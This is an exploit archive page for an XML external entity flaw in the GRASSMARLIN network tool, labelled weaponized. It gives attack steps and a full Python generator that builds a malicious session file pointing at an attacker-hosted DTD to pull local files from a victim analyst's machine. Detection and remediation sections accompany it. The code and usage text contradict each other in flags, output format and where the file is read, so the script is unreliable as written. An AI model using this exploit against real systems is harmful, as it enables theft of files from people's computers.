PoC Archive PoC Archive
High CVE-2026-6807 unpatched

GRASSMARLIN XML External Entity (XXE) Out-of-Band File Exfiltration (CVE-2026-6807)

by SecTestAnnaQuinn · 2026-07-05

Severity
High
CVE
CVE-2026-6807
Category
network
Affected product
GRASSMARLIN (CISA/ICS-CERT network visualization tool)
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherSecTestAnnaQuinn
CVE / AdvisoryCVE-2026-6807
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source (CISA disclosure, 2026-04-28)
StatusWeaponized
Tagsgrassmarlin, xxe, ics-scada, xml-external-entity, oob-exfiltration, cwe-611
RelatedN/A

Affected Target

FieldValue
Software / SystemGRASSMARLIN (CISA/ICS-CERT network visualization tool)
Versions AffectedNot specified in source
Language / PlatformPython PoC (payload generator + OOB listener/relay)
Authentication RequiredLocal (ability to have GRASSMARLIN open a crafted stored session XML file)
Network Access RequiredYes (for OOB exfiltration channel)

Summary

GRASSMARLIN’s handling of XML files ingested when opening stored sessions is vulnerable to XML External Entity (XXE) injection. A crafted session XML referencing an external DTD/entity allows out-of-band exfiltration of arbitrary local files from the analyst’s machine, even though direct in-band error output is stripped from GRASSMARLIN’s logs/console. Content is base64-encoded and sent across multiple message chunks to work around input-size/error handling quirks in the bundled Java runtime.


Vulnerability Details

Root Cause

GRASSMARLIN’s XML parser for stored session files resolves external entities/DTDs without restriction, allowing an XXE payload to read local files and exfiltrate their contents via an attacker-controlled out-of-band channel.

Attack Vector

  1. Craft a malicious GRASSMARLIN session XML file containing an XXE payload that references an external DTD hosted on an attacker-controlled server.
  2. Have the victim analyst open the crafted session file in GRASSMARLIN.
  3. The XML parser resolves the external entity, reads a target local file, base64-encodes it, and exfiltrates it in chunks to the attacker’s out-of-band listener.

Impact

Arbitrary local file disclosure from the machine running GRASSMARLIN, via a crafted session file opened by the victim analyst.


Environment / Lab Setup

Target:   A machine running GRASSMARLIN with the bundled/required Java runtime, opening a malicious stored session file
Attacker: Python 3 (gen_payload.py to build the malicious session XML, listener_relay.py as the OOB exfil listener)

Proof of Concept

PoC Script

See gen_payload.py and listener_relay.py in this folder.

1
python3 listener_relay.py (start OOB listener), then python3 gen_payload.py --target-file /path/to/target > malicious_session.xml, and have the victim open malicious_session.xml in GRASSMARLIN

gen_payload.py builds a malicious GRASSMARLIN session XML with an XXE payload targeting a specified local file; listener_relay.py receives the base64-encoded, chunked exfiltrated content out-of-band.


Detection & Indicators of Compromise

Signs of compromise:

  • GRASSMARLIN process making unexpected outbound network connections when loading a session file
  • Session XML files containing external entity declarations

Remediation

ActionDetail
Primary fixApply the CISA-referenced GRASSMARLIN fix disabling external entity resolution in the session XML parser
Interim mitigationDo not open untrusted GRASSMARLIN session files; disable external entity processing at the XML parser/Java runtime level if configurable

References


Notes

Mirrored from https://github.com/SecTestAnnaQuinn/Grassmarlin-CVE-2026-6807-XXE-POC on 2026-07-05.

gen_payload.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
"""
Generates malicious.gm3 for CVE-2026-6807.
Target file path is passed to the relay via ?t= in the DTD URL.
The relay reads the file server-side and serves back chunked general entities.
"""
import zipfile, base64, argparse, urllib.parse, os

DEFAULT_HOST   = "127.0.0.1"
DEFAULT_PORT   = 7778
DEFAULT_TARGET = "C:/windows/win.ini"
DEFAULT_OUTPUT = "malicious.gm3"
MAX_CHUNK      = 150

parser = argparse.ArgumentParser(description="CVE-2026-6807 payload generator")
parser.add_argument("-t", "--target", default=DEFAULT_TARGET, help="File to exfiltrate on the victim")
parser.add_argument("--host",         default=DEFAULT_HOST,   help="Relay listener host")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Relay listener port")
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT, help="Output .gm3 path")
args = parser.parse_args()

# Read target locally to calculate chunk count for entity refs in session.xml
try:
    with open(args.target.replace("/", os.sep), "rb") as f:
        raw = f.read()
    encoded = base64.b64encode(raw).decode()
    chunks  = [encoded[i:i+MAX_CHUNK] for i in range(0, len(encoded), MAX_CHUNK)]
    n = len(chunks)
    print(f"[*] {args.target}: {len(raw)} bytes -> {n} chunks")
except FileNotFoundError:
    # Target may not exist locally (remote engagement) — ask for chunk count
    n = int(input(f"[?] Target not found locally. How many chunks to expect? "))

encoded_path = urllib.parse.quote(args.target, safe="")
dtd_url      = f"http://{args.host}:{args.port}/evil.dtd?t={encoded_path}"

entity_refs  = "\n  ".join(f"&c{i};" for i in range(n))
session_xml  = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE session SYSTEM "{dtd_url}">
<session>
  {entity_refs}
</session>
"""

manifest_xml = '<?xml version="1.0" encoding="UTF-8"?>\n<manifest ver="3.2"/>\n'
stub         = '<?xml version="1.0" encoding="UTF-8"?>\n<stub/>\n'

with zipfile.ZipFile(args.output, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("manifest.xml", manifest_xml)
    zf.writestr("session.xml",  session_xml)
    zf.writestr("logical.xml",  stub)
    zf.writestr("physical.xml", stub)
    zf.writestr("mesh.xml",     stub)

print(f"[+] Written {args.output} ({n} entity refs -> {dtd_url})")